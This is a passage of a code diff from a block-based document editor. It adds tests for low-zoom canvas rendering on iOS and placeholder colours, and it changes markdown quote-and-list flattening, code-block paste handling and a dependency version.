flavour: 'affine:note',
children: [
{
flavour: 'affine:paragraph',
type: 'quote',
delta: [
{ insert: 'Shopping List:' },
{ insert: '\n' },
{ insert: '- ' },
{ insert: 'Apples' },
{ insert: '\n' },
{ insert: '- ' },
{ insert: 'Bananas' },
{ insert: '\n' },
{ insert: '- ' },
{ insert: 'Oranges' },
],
},
],
},
],
});
const exported = await mdAdapter.fromDocSnapshot({
snapshot,
assets: new AssetsManager({ blob: new MemoryBlobCRUD() }),
});
expect(exported.file).toContain('> **Shopping List:**');
expect(exported.file).toContain('> \\- Apples');
expect(exported.file).toContain('> \\- Bananas');
expect(exported.file).toContain('> \\- Oranges');
});
test('imports obsidian vault fixtures', async () => {
const schema = new Schema().register(AffineSchemas);
const collection = new TestWorkspace();
@@ -0,0 +1,770 @@
import { Bound } from '@blocksuite/global/gfx';
import { Viewport, viewportRuntimeConfig } from '@blocksuite/std/gfx';
import { afterEach, describe, expect, test, vi } from 'vitest';
import * as viewportModule from '../../../../../framework/std/src/gfx/viewport.js';
import * as viewportElementModule from '../../../../../framework/std/src/gfx/viewport-element.js';
import * as canvasRendererModule from '../../../../blocks/surface/src/renderer/canvas-renderer.js';
import {
paintPlaceholder,
syncCanvasSize,
} from '../../../../gfx/turbo-renderer/src/renderer-utils.js';
import type { ViewportLayoutTree } from '../../../../gfx/turbo-renderer/src/types.js';
const originalCaps = [...viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM];
const originalDevicePixelRatio = Object.getOwnPropertyDescriptor(
window,
'devicePixelRatio'
);
function setDevicePixelRatio(value: number) {
Object.defineProperty(window, 'devicePixelRatio', {
configurable: true,
value,
});
}
function createRect(width: number, height: number): DOMRect {
return {
width,
height,
left: 0,
top: 0,
right: width,
bottom: height,
x: 0,
y: 0,
toJSON: () => ({}),
} as DOMRect;
}
function createFakeBlockModel(
id: string,
x: number,
y: number,
w = 10,
h = 10
) {
return {
id,
elementBound: new Bound(x, y, w, h),
};
}
type PaintPlaceholderForTest = (
canvas: HTMLCanvasElement,
layout: ViewportLayoutTree,
viewport: {
zoom: number;
toViewCoord: (x: number, y: number) => [number, number];
}
) => void;
afterEach(() => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [...originalCaps];
if (originalDevicePixelRatio) {
Object.defineProperty(window, 'devicePixelRatio', originalDevicePixelRatio);
}
vi.restoreAllMocks();
});
describe('edgeless canvas budget', () => {
test('requests canvas budget sync when zoom crosses an effective dpr bucket', () => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
expect(
'shouldSyncCanvasBudgetOnViewportUpdate' in canvasRendererModule
).toBe(true);
const shouldSyncCanvasBudgetOnViewportUpdate = (
canvasRendererModule as {
shouldSyncCanvasBudgetOnViewportUpdate: (
previousZoom: number,
nextZoom: number,
rawDpr?: number
) => boolean;
}
).shouldSyncCanvasBudgetOnViewportUpdate;
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 2)).toBe(true);
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.75, 2)).toBe(false);
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.45, 0.4, 2)).toBe(false);
expect(shouldSyncCanvasBudgetOnViewportUpdate(0.95, 0.4, 1)).toBe(false);
});
test('enables low-zoom survival mode only for active iOS gestures', () => {
expect('shouldUseLowZoomSurvivalMode' in canvasRendererModule).toBe(true);
const shouldUseLowZoomSurvivalMode = (
canvasRendererModule as {
shouldUseLowZoomSurvivalMode: (
isIOS: boolean,
zoom: number,
gestureActive: boolean
) => boolean;
}
).shouldUseLowZoomSurvivalMode;
expect(shouldUseLowZoomSurvivalMode(true, 0.4, true)).toBe(true);
expect(shouldUseLowZoomSurvivalMode(true, 0.6, true)).toBe(false);
expect(shouldUseLowZoomSurvivalMode(true, 0.4, false)).toBe(false);
expect(shouldUseLowZoomSurvivalMode(false, 0.4, true)).toBe(false);
});
test('does not enable canvas placeholders for low-zoom panning without zooming', () => {
expect('shouldRenderCanvasPlaceholders' in canvasRendererModule).toBe(true);
const shouldRenderCanvasPlaceholders = (
canvasRendererModule as {
shouldRenderCanvasPlaceholders: (params: {
isIOS: boolean;
zoom: number;
isPanning: boolean;
isZooming: boolean;
skipRefreshDuringGesture: boolean;
turboEnabled: boolean;
}) => boolean;
}
).shouldRenderCanvasPlaceholders;
expect(
shouldRenderCanvasPlaceholders({
isIOS: true,
zoom: 0.4,
isPanning: true,
isZooming: false,
skipRefreshDuringGesture: true,
turboEnabled: true,
})
).toBe(false);
expect(
shouldRenderCanvasPlaceholders({
isIOS: true,
zoom: 0.4,
isPanning: false,
isZooming: true,
skipRefreshDuringGesture: true,
turboEnabled: true,
})
).toBe(true);
});
test('shares one bypass decision for placeholder and render paths only during the low-zoom iOS landscape gesture or recovery window', () => {
expect('getStackingCanvasBypassState' in canvasRendererModule).toBe(true);
expect(
'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
).toBe(true);
const getStackingCanvasBypassState = (
canvasRendererModule as {
getStackingCanvasBypassState: (params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) => boolean;
}
).getStackingCanvasBypassState;
const shouldBypassStackingCanvasesDuringLowZoomGesture = (
canvasRendererModule as {
shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) => boolean;
}
).shouldBypassStackingCanvasesDuringLowZoomGesture;
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(true);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: false,
recoveryActive: true,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(true);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: false,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
expect(
shouldBypassStackingCanvasesDuringLowZoomGesture({
isIOS: true,
zoom: 0.4,
gestureActive: false,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 430,
viewportHeight: 932,
})
).toBe(false);
expect(
getStackingCanvasBypassState({
isIOS: true,
zoom: 0.6,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
expect(
getStackingCanvasBypassState({
isIOS: false,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
})
).toBe(false);
});
test('gesture low-zoom landscape bypass detaches stacking canvases through the existing attachment path', () => {
expect(
'shouldBypassStackingCanvasesDuringLowZoomGesture' in canvasRendererModule
).toBe(true);
expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
true
);
const shouldBypassStackingCanvasesDuringLowZoomGesture = (
canvasRendererModule as {
shouldBypassStackingCanvasesDuringLowZoomGesture: (params: {
isIOS: boolean;
zoom: number;
gestureActive: boolean;
recoveryActive: boolean;
viewportWidth: number;
viewportHeight: number;
}) => boolean;
}
).shouldBypassStackingCanvasesDuringLowZoomGesture;
const getStackingCanvasAttachmentDiff = (
canvasRendererModule as {
getStackingCanvasAttachmentDiff: (params: {
canvases: HTMLCanvasElement[];
wasAttached: boolean;
shouldAttach: boolean;
}) => {
added: HTMLCanvasElement[];
removed: HTMLCanvasElement[];
};
}
).getStackingCanvasAttachmentDiff;
const canvases = [document.createElement('canvas')];
const shouldBypass = shouldBypassStackingCanvasesDuringLowZoomGesture({
isIOS: true,
zoom: 0.4,
gestureActive: true,
recoveryActive: false,
viewportWidth: 932,
viewportHeight: 430,
});
expect(shouldBypass).toBe(true);
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: true,
shouldAttach: !shouldBypass,
})
).toEqual({
added: [],
removed: canvases,
});
});
test('uses overscan for main-canvas fallback culling and render origin', () => {
expect('getMainCanvasFallbackBounds' in canvasRendererModule).toBe(true);
const getMainCanvasFallbackBounds = (
canvasRendererModule as {
getMainCanvasFallbackBounds: (params: {
viewportBounds: Bound;
overscanViewportBounds: Bound;
}) => {
cullBound: Bound;
renderBound: Bound;
};
}
).getMainCanvasFallbackBounds;
const viewportBounds = new Bound(100, 200, 300, 150);
const overscanViewportBounds = new Bound(40, 170, 420, 210);
expect(
getMainCanvasFallbackBounds({
viewportBounds,
overscanViewportBounds,
})
).toEqual({
cullBound: overscanViewportBounds,
renderBound: overscanViewportBounds,
});
});
test('lays out overscan canvases relative to the exact viewport', () => {
expect('getCanvasViewportLayout' in canvasRendererModule).toBe(true);
const getCanvasViewportLayout = (
canvasRendererModule as {
getCanvasViewportLayout: (params: {
bound: Bound;
viewportBounds: Bound;
zoom: number;
viewScale: number;
dpr: number;
}) => {
actualHeight: number;
actualWidth: number;
height: number;
transform: string;
width: number;
};
}
).getCanvasViewportLayout;
expect(
getCanvasViewportLayout({
bound: new Bound(40, 170, 420, 210),
viewportBounds: new Bound(100, 200, 300, 150),
zoom: 1,
viewScale: 1,
dpr: 2,
})
).toEqual({
actualHeight: 420,
actualWidth: 840,
height: 210,
transform: 'translate(-60px, -30px) scale(1)',
width: 420,
});
});
test('computes stacking canvas DOM attachment diffs when bypass toggles', () => {
expect('getStackingCanvasAttachmentDiff' in canvasRendererModule).toBe(
true
);
const getStackingCanvasAttachmentDiff = (
canvasRendererModule as {
getStackingCanvasAttachmentDiff: (params: {
canvases: HTMLCanvasElement[];
wasAttached: boolean;
shouldAttach: boolean;
}) => {
added: HTMLCanvasElement[];
removed: HTMLCanvasElement[];
};
}
).getStackingCanvasAttachmentDiff;
const canvasA = document.createElement('canvas');
const canvasB = document.createElement('canvas');
const canvases = [canvasA, canvasB];
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: true,
shouldAttach: false,
})
).toEqual({
added: [],
removed: canvases,
});
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: false,
shouldAttach: true,
})
).toEqual({
added: canvases,
removed: [],
});
expect(
getStackingCanvasAttachmentDiff({
canvases,
wasAttached: true,
shouldAttach: true,
})
).toEqual({
added: [],
removed: [],
});
});
test('emits a lightweight zoom signal during gesture-skipped zoom updates so canvas budgets can shrink', () => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
const viewport = new Viewport();
viewport.SKIP_REFRESH_DURING_GESTURE = true;
const viewportUpdated = vi.fn();
const zoomUpdates: Array<{ previousZoom: number; zoom: number }> = [];
let lastCanvasBudgetZoom = viewport.zoom;
let budgetSyncCount = 0;
viewport.viewportUpdated.subscribe(viewportUpdated);
expect('zoomUpdated' in viewport).toBe(true);
const zoomUpdated = (
viewport as unknown as {
zoomUpdated: {
subscribe: (
callback: (update: { previousZoom: number; zoom: number }) => void
) => void;
};
}
).zoomUpdated;
zoomUpdated.subscribe(update => {
zoomUpdates.push(update);
if (
(
canvasRendererModule as {
shouldSyncCanvasBudgetOnViewportUpdate: (
previousZoom: number,
nextZoom: number,
rawDpr?: number
) => boolean;
}
).shouldSyncCanvasBudgetOnViewportUpdate(
lastCanvasBudgetZoom,
update.zoom,
2
)
) {
budgetSyncCount += 1;
}
lastCanvasBudgetZoom = update.zoom;
});
viewport.panning$.next(true);
viewport.setZoom(0.4, { x: 0, y: 0 }, false, false, true);
expect(viewportUpdated).not.toHaveBeenCalled();
expect(zoomUpdates).toEqual([{ previousZoom: 1, zoom: 0.4 }]);
expect(budgetSyncCount).toBe(1);
viewport.dispose();
});
test('keeps programmatic setZoom on the normal viewport update path in skip mode', () => {
const viewport = new Viewport();
viewport.SKIP_REFRESH_DURING_GESTURE = true;
const viewportUpdated = vi.fn();
const zoomUpdated = vi.fn();
viewport.viewportUpdated.subscribe(viewportUpdated);
viewport.zoomUpdated.subscribe(zoomUpdated);
viewport.setZoom(0.4, { x: 0, y: 0 });
expect(viewportUpdated).toHaveBeenCalledTimes(1);
expect(zoomUpdated).toHaveBeenCalledWith({ previousZoom: 1, zoom: 0.4 });
expect(viewport.panning$.value).toBe(false);
expect(viewport.zooming$.value).toBe(false);
viewport.dispose();
});
test('enables low-zoom block survival only while the gesture is still active', () => {
expect('shouldUseLowZoomBlockSurvivalMode' in viewportElementModule).toBe(
true
);
const shouldUseLowZoomBlockSurvivalMode = (
viewportElementModule as {
shouldUseLowZoomBlockSurvivalMode: (params: {
zoom: number;
skipRefreshDuringGesture: boolean;
gestureActive: boolean;
}) => boolean;
}
).shouldUseLowZoomBlockSurvivalMode;
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: true,
gestureActive: true,
})
).toBe(true);
expect(
shouldUseLowZoomBlockSurvivalMode({
zoom: 0.4,
skipRefreshDuringGesture: true,
gestureActive: false,
})
).toBe(false);
});
test('keeps selected and one nearby viewport block active during low-zoom gesture survival', () => {
expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
const getLowZoomGestureActiveModels = (
viewportElementModule as {
getLowZoomGestureActiveModels: (params: {
selectedModels: Set<{ id: string; elementBound: Bound }>;
viewportModels: Set<{ id: string; elementBound: Bound }>;
viewportBounds: Bound;
nearbyActiveBlockLimit: number;
nearbyDistanceRatio: number;
}) => Set<{ id: string; elementBound: Bound }>;
}
).getLowZoomGestureActiveModels;
const selected = createFakeBlockModel('selected', 10, 10);
const nearby = createFakeBlockModel('nearby', 28, 12);
const far = createFakeBlockModel('far', 78, 78);
const activeModels = getLowZoomGestureActiveModels({
selectedModels: new Set([selected]),
viewportModels: new Set([selected, nearby, far]),
viewportBounds: new Bound(0, 0, 100, 100),
nearbyActiveBlockLimit: 1,
nearbyDistanceRatio: 0.35,
});
expect([...activeModels].map(model => model.id).sort()).toEqual([
'nearby',
'selected',
]);
});
test('falls back to the nearest viewport block when nothing is selected', () => {
expect('getLowZoomGestureActiveModels' in viewportElementModule).toBe(true);
const getLowZoomGestureActiveModels = (
viewportElementModule as {
getLowZoomGestureActiveModels: (params: {
selectedModels: Set<{ id: string; elementBound: Bound }>;
viewportModels: Set<{ id: string; elementBound: Bound }>;
viewportBounds: Bound;
nearbyActiveBlockLimit: number;
nearbyDistanceRatio: number;
}) => Set<{ id: string; elementBound: Bound }>;
}
).getLowZoomGestureActiveModels;
const nearest = createFakeBlockModel('nearest', 46, 46);
const farther = createFakeBlockModel('farther', 78, 78);
const activeModels = getLowZoomGestureActiveModels({
selectedModels: new Set(),
viewportModels: new Set([nearest, farther]),
viewportBounds: new Bound(0, 0, 100, 100),
nearbyActiveBlockLimit: 1,
nearbyDistanceRatio: 0.35,
});
expect([...activeModels].map(model => model.id)).toEqual(['nearest']);
});
test('starts post-gesture recovery immediately once gesture signals fully settle', () => {
expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
const getPostGestureRecoveryDelay = (
viewportModule as {
getPostGestureRecoveryDelay: (params: {
isPanning: boolean;
isZooming: boolean;
fallbackDelayMs: number;
}) => number;
}
).getPostGestureRecoveryDelay;
expect(
getPostGestureRecoveryDelay({
isPanning: false,
isZooming: false,
fallbackDelayMs: 220,
})
).toBe(0);
});
test('keeps fallback post-gesture delay while a gesture signal is still active', () => {
expect('getPostGestureRecoveryDelay' in viewportModule).toBe(true);
const getPostGestureRecoveryDelay = (
viewportModule as {
getPostGestureRecoveryDelay: (params: {
isPanning: boolean;
isZooming: boolean;
fallbackDelayMs: number;
}) => number;
}
).getPostGestureRecoveryDelay;
expect(
getPostGestureRecoveryDelay({
isPanning: true,
isZooming: false,
fallbackDelayMs: 220,
})
).toBe(220);
expect(
getPostGestureRecoveryDelay({
isPanning: false,
isZooming: true,
fallbackDelayMs: 220,
})
).toBe(220);
});
test('sizes turbo renderer canvas with effective dpr at low zoom', () => {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
setDevicePixelRatio(2);
const canvas = document.createElement('canvas');
const host = document.createElement('div');
vi.spyOn(host, 'getBoundingClientRect').mockReturnValue(
createRect(200, 100)
);
(
syncCanvasSize as unknown as (
canvas: HTMLCanvasElement,
host: HTMLElement,
zoom: number
) => void
)(canvas, host, 0.4);
expect(canvas.width).toBe(200);
expect(canvas.height).toBe(100);
(
syncCanvasSize as unknown as (
canvas: HTMLCanvasElement,
host: HTMLElement,
zoom: number
) => void
)(canvas, host, 0.95);
expect(canvas.width).toBe(400);
expect(canvas.height).toBe(200);
});
test('paints turbo placeholders with effective dpr at low zoom', () => {
const previousTheme = document.documentElement.dataset.theme;
document.documentElement.dataset.theme = 'light';
try {
viewportRuntimeConfig.CANVAS_DPR_CAP_BY_ZOOM = [
[0.5, 1],
[0.8, 2],
];
setDevicePixelRatio(2);
const canvas = document.createElement('canvas');
const fillRect = vi.fn();
const strokeRect = vi.fn();
let fillStyle = '';
let strokeStyle = '';
vi.spyOn(canvas, 'getContext').mockReturnValue({
get fillStyle() {
return fillStyle;
},
set fillStyle(value: string) {
fillStyle = value;
},
get strokeStyle() {
return strokeStyle;
},
set strokeStyle(value: string) {
strokeStyle = value;
},
fillRect,
strokeRect,
} as unknown as CanvasRenderingContext2D);
const layout: ViewportLayoutTree = {
roots: [
{
blockId: 'root',
type: 'affine:page',
layout: {
blockId: 'root',
type: 'affine:page',
rect: { x: 0, y: 0, w: 50, h: 20 },
},
children: [],
},
],
overallRect: { x: 0, y: 0, w: 50, h: 20 },
};
const paintPlaceholderForTest =
paintPlaceholder as unknown as PaintPlaceholderForTest;
paintPlaceholderForTest(canvas, layout, {
zoom: 0.4,
toViewCoord: () => [0, 0],
});
expect(fillStyle).toBe('rgba(0, 0, 0, 0.04)');
expect(strokeStyle).toBe('rgba(0, 0, 0, 0.02)');
expect(fillRect).toHaveBeenLastCalledWith(0, 0, 20, 8);
paintPlaceholderForTest(canvas, layout, {
zoom: 0.95,
toViewCoord: () => [0, 0],
});
expect(fillRect).toHaveBeenLastCalledWith(0, 0, 95, 38);
} finally {
document.documentElement.dataset.theme = previousTheme;
}
});
});
@@ -0,0 +1,34 @@
import { ColorScheme } from '@blocksuite/affine-model';
import { describe, expect, it } from 'vitest';
import {
getAffinePlaceholderFillColor,
getAffinePlaceholderStrokeColor,
inferColorSchemeFromThemeMode,
} from '../../../../shared/src/theme/placeholder-style.js';
describe('affine placeholder style', () => {
it('returns subtle light placeholder colors', () => {
expect(getAffinePlaceholderFillColor(ColorScheme.Light)).toBe(
'rgba(0, 0, 0, 0.04)'
);
expect(getAffinePlaceholderStrokeColor(ColorScheme.Light)).toBe(
'rgba(0, 0, 0, 0.02)'
);
});
it('returns subtle dark placeholder colors', () => {
expect(getAffinePlaceholderFillColor(ColorScheme.Dark)).toBe(
'rgba(255, 255, 255, 0.08)'
);
expect(getAffinePlaceholderStrokeColor(ColorScheme.Dark)).toBe(
'rgba(255, 255, 255, 0.04)'
);
});
it('infers color scheme from theme mode', () => {
expect(inferColorSchemeFromThemeMode('dark')).toBe(ColorScheme.Dark);
expect(inferColorSchemeFromThemeMode('light')).toBe(ColorScheme.Light);
expect(inferColorSchemeFromThemeMode('')).toBe(ColorScheme.Light);
});
});
@@ -0,0 +1,66 @@
import { describe, expect, test } from 'vitest';
import * as turboRendererModule from '../../../../gfx/turbo-renderer/src/turbo-renderer.js';
describe('viewport turbo renderer policy', () => {
test.each([
{ isIOS: true, zoom: 0.4, hasBitmap: true, expected: true },
{ isIOS: true, zoom: 0.4, hasBitmap: false, expected: false },
{ isIOS: false, zoom: 0.4, hasBitmap: true, expected: false },
{ isIOS: true, zoom: 0.8, hasBitmap: true, expected: false },
])(
'prefers cached bitmap only for iOS low-zoom gestures with a bitmap %#',
({ isIOS, zoom, hasBitmap, expected }) => {
expect(
'shouldPreferBitmapCacheDuringLowZoomGesture' in turboRendererModule
).toBe(true);
const shouldPreferBitmapCacheDuringLowZoomGesture = (
turboRendererModule as {
shouldPreferBitmapCacheDuringLowZoomGesture: (params: {
isIOS: boolean;
zoom: number;
hasBitmap: boolean;
}) => boolean;
}
).shouldPreferBitmapCacheDuringLowZoomGesture;
expect(
shouldPreferBitmapCacheDuringLowZoomGesture({
isIOS,
zoom,
hasBitmap,
})
).toBe(expected);
}
);
test.each([
{ isIOS: true, zoom: 0.4, expected: false },
{ isIOS: true, zoom: 0.8, expected: true },
{ isIOS: false, zoom: 0.4, expected: true },
])(
'idles turbo blocks outside iOS low-zoom survival mode %#',
({ isIOS, zoom, expected }) => {
expect('shouldIdleTurboBlocksDuringZooming' in turboRendererModule).toBe(
true
);
const shouldIdleTurboBlocksDuringZooming = (
turboRendererModule as {
shouldIdleTurboBlocksDuringZooming: (params: {
isIOS: boolean;
zoom: number;
}) => boolean;
}
).shouldIdleTurboBlocksDuringZooming;
expect(
shouldIdleTurboBlocksDuringZooming({
isIOS,
zoom,
})
).toBe(expected);
}
);
});
@@ -1,4 +1,5 @@
import { deleteTextCommand } from '@blocksuite/affine-inline-preset';
import type { RichText } from '@blocksuite/affine-rich-text';
import {
HtmlAdapter,
pasteMiddleware,
@@ -18,6 +19,7 @@ import {
LifeCycleWatcher,
LifeCycleWatcherIdentifier,
StdIdentifier,
TextSelection,
type UIEventHandler,
} from '@blocksuite/std';
import type { ExtensionType } from '@blocksuite/store';
@@ -103,6 +105,30 @@ export class CodeBlockClipboardController extends LifeCycleWatcher {
const e = ctx.get('clipboardState').raw;
e.preventDefault();
const textSelection = this.std.selection.find(TextSelection);
const plainText = e.clipboardData
?.getData('text/plain')
?.replace(/\r?\n|\r/g, '\n');
const selectedBlockId = textSelection?.from.blockId;
const codeBlock = selectedBlockId
? this.std.store.getBlock(selectedBlockId)?.model
: null;
if (plainText && codeBlock?.flavour === 'affine:code' && selectedBlockId) {
const richText = this.std.view
.getBlock(selectedBlockId)
?.querySelector<RichText>('rich-text');
const inlineEditor = richText?.inlineEditor;
const inlineRange = inlineEditor?.getInlineRange();
if (inlineEditor && inlineRange) {
inlineEditor.insertText(inlineRange, plainText);
inlineEditor.setInlineRange({
index: inlineRange.index + plainText.length,
length: 0,
});
return true;
}
}
this.std.store.captureSync();
this.std.command
.chain()
@@ -54,9 +54,9 @@ type Cell = {
value: string | { delta: DeltaInsert[] };
};
export const processTable = (
columns: ColumnDataType[],
children: BlockSnapshot[],
cells: SerializedCells
columns: ColumnDataType[] = [],
children: BlockSnapshot[] = [],
cells: SerializedCells = {}
): Table => {
const table: Table = {
headers: columns,
@@ -90,13 +90,17 @@ export const processTable = (
return;
}
let value: string | { delta: DeltaInsert[] };
if (isDelta(cell.value)) {
value = cell.value;
} else {
value = property.config.rawValue.toString({
value: cell.value,
data: col.data,
});
try {
if (isDelta(cell.value)) {
value = cell.value;
} else {
value = property.config.rawValue.toString({
value: cell.value,
data: col.data,
});
}
} catch {
value = '';
}
row.cells.push({
value,
@@ -5,10 +5,11 @@ import {
IN_PARAGRAPH_NODE_CONTEXT_KEY,
isCalloutNode,
type MarkdownAST,
type MarkdownDeltaConverter,
} from '@blocksuite/affine-shared/adapters';
import type { DeltaInsert } from '@blocksuite/store';
import type { BlockSnapshot, DeltaInsert } from '@blocksuite/store';
import { nanoid } from '@blocksuite/store';
import type { Heading } from 'mdast';
import type { Blockquote, Heading, List, ListItem } from 'mdast';
/**
* Extend the HeadingData type to include the collapsed property
@@ -24,6 +25,131 @@ const PARAGRAPH_MDAST_TYPE = new Set(['paragraph', 'heading', 'blockquote']);
const isParagraphMDASTType = (node: MarkdownAST) =>
PARAGRAPH_MDAST_TYPE.has(node.type);
const joinDeltaLines = (
lines: DeltaInsert[][],
prefix?: string
): DeltaInsert[] => {
const deltas: DeltaInsert[] = [];
lines.forEach(line => {
if (deltas.length) deltas.push({ insert: '\n' });
if (prefix) deltas.push({ insert: prefix });
deltas.push(...line);
});
return deltas;
};
const flattenListItemToDelta = (
node: ListItem,
deltaConverter: MarkdownDeltaConverter,
prefix: string,
depth: number
): DeltaInsert[] => {
const firstParagraph = node.children[0];
const lines: DeltaInsert[][] = [];
if (firstParagraph?.type === 'paragraph') {
lines.push([
{ insert: prefix },
...deltaConverter.astToDelta(firstParagraph),
]);
} else {
lines.push([{ insert: prefix.trimEnd() }]);
}
node.children
.slice(firstParagraph?.type === 'paragraph' ? 1 : 0)
.forEach(child => {
const delta = flattenMarkdownBlockToDelta(
child as MarkdownAST,
deltaConverter,
depth + 1
);
if (delta.length) {
lines.push(delta);
}
});
return joinDeltaLines(lines);
};
const flattenMarkdownBlockToDelta = (
node: MarkdownAST,
deltaConverter: MarkdownDeltaConverter,
depth = 0
): DeltaInsert[] => {
switch (node.type) {
case 'paragraph':
case 'heading':
return deltaConverter.astToDelta(node);
case 'list': {
const list = node as List;
return joinDeltaLines(
list.children.map((item, index) => {
const order = (list.start ?? 1) + index;
const prefix =
' '.repeat(depth) + (list.ordered ? `${order}. ` : '- ');
return flattenListItemToDelta(item, deltaConverter, prefix, depth);
})
);
}
case 'blockquote':
return flattenBlockquoteToDelta(node as Blockquote, deltaConverter);
default:
return 'children' in node
? joinDeltaLines(
(node.children as MarkdownAST[]).map(child =>
flattenMarkdownBlockToDelta(child, deltaConverter, depth)
)
)
: [];
}
};
const flattenBlockquoteToDelta = (
node: Blockquote,
deltaConverter: MarkdownDeltaConverter
) =>
joinDeltaLines(
node.children.map(child =>
flattenMarkdownBlockToDelta(child as MarkdownAST, deltaConverter)
)
);
const getSnapshotTextDelta = (node: BlockSnapshot): DeltaInsert[] => {
const text = (node.props.text ?? { delta: [] }) as {
delta: DeltaInsert[];
};
return text.delta;
};
const flattenSnapshotBlockToDelta = (
node: BlockSnapshot,
depth = 0
): DeltaInsert[] => {
if (node.flavour === 'affine:list') {
const type = node.props.type;
const order = (node.props.order as number | undefined) ?? 1;
const prefix =
' '.repeat(depth) + (type === 'numbered' ? `${order}. ` : '- ');
return joinDeltaLines([
[{ insert: prefix }, ...getSnapshotTextDelta(node)],
...node.children.map(child =>
flattenSnapshotBlockToDelta(child, depth + 1)
),
]);
}
return joinDeltaLines([
getSnapshotTextDelta(node),
...node.children.map(child => flattenSnapshotBlockToDelta(child, depth)),
]);
};
const flattenQuoteSnapshotToDelta = (
text: DeltaInsert[],
children: BlockSnapshot[]
) =>
joinDeltaLines([
text,
...children.map(child => flattenSnapshotBlockToDelta(child)),
]);
export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
{
flavour: ParagraphBlockSchema.model.flavour,
@@ -93,7 +219,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
type: 'quote',
text: {
'$blocksuite:internal:text$': true,
delta: deltaConverter.astToDelta(o.node),
delta: flattenBlockquoteToDelta(
o.node as Blockquote,
deltaConverter
),
},
},
children: [],
@@ -160,6 +289,10 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
break;
}
case 'quote': {
const quoteDelta = flattenQuoteSnapshotToDelta(
text.delta,
o.node.children
);
walkerContext
.openNode(
{
@@ -171,12 +304,13 @@ export const paragraphBlockMarkdownAdapterMatcher: BlockMarkdownAdapterMatcher =
.openNode(
{
type: 'paragraph',
children: deltaConverter.deltaToAST(text.delta),
children: deltaConverter.deltaToAST(quoteDelta),
},
'children'
)
.closeNode()
.closeNode();
walkerContext.skipAllChildren();
break;
}
}
@@ -101,6 +101,9 @@ export const ParagraphKeymapExtension = KeymapExtension(
return true;
},
Enter: ctx => {
const raw = ctx.get('keyboardState').raw;
if (raw.isComposing) return;
const { store } = std;
const text = std.selection.find(TextSelection);
if (!text) return;
@@ -115,7 +118,6 @@ export const ParagraphKeymapExtension = KeymapExtension(
const inlineRange = inlineEditor?.getInlineRange();
if (!inlineRange || !inlineEditor) return;
const raw = ctx.get('keyboardState').raw;
const isEnd = model.props.text.length === inlineRange.index;
if (model.props.type === 'quote') {
+1 -1
View File
@@ -43,7 +43,7 @@
"@blocksuite/store": "workspace:*",
"@preact/signals-core": "^1.8.0",
"@types/lodash-es": "^4.17.12",
"dompurify": "^3.3.0",
"dompurify": "^3.4.11",
"html2canvas": "^1.4.1",
"lit": "^3.2.0",
"lodash-es": "^4.17.23",
@@ -212,7 +212,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
currentCenter.y
);
viewport.setZoom(zoom, new Point(baseX, baseY));
viewport.setZoom(zoom, new Point(baseX, baseY), false, true, true);
return false;
})
@@ -351,7 +351,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
);
const zoom = normalizeWheelDeltaY(e.deltaY, viewport.zoom);
viewport.setZoom(zoom, new Point(baseX, baseY), true);
viewport.setZoom(zoom, new Point(baseX, baseY), true, true, true);
e.stopPropagation();
}
// pan
@@ -484,7 +484,7 @@ export class EdgelessRootBlockComponent extends BlockComponent<
.viewport=${this.gfx.viewport}
.getModelsInViewport=${() => {
const blocks = this.gfx.grid.search(
this.gfx.viewport.viewportBounds,
this.gfx.viewport.overscanBlockBounds,
{
useSet: true,
filter: ['block'],
@@ -230,7 +230,7 @@ export class EdgelessRootPreviewBlockComponent extends BlockComponent<RootBlockM
.viewport=${this._gfx.viewport}
.getModelsInViewport=${() => {
const blocks = this._gfx.grid.search(
this._gfx.viewport.viewportBounds,
this._gfx.viewport.overscanBlockBounds,
{
useSet: true,
filter: ['block'],
@@ -2,6 +2,7 @@ import { type Color, ColorScheme } from '@blocksuite/affine-model';
import { FeatureFlagService } from '@blocksuite/affine-shared/services';
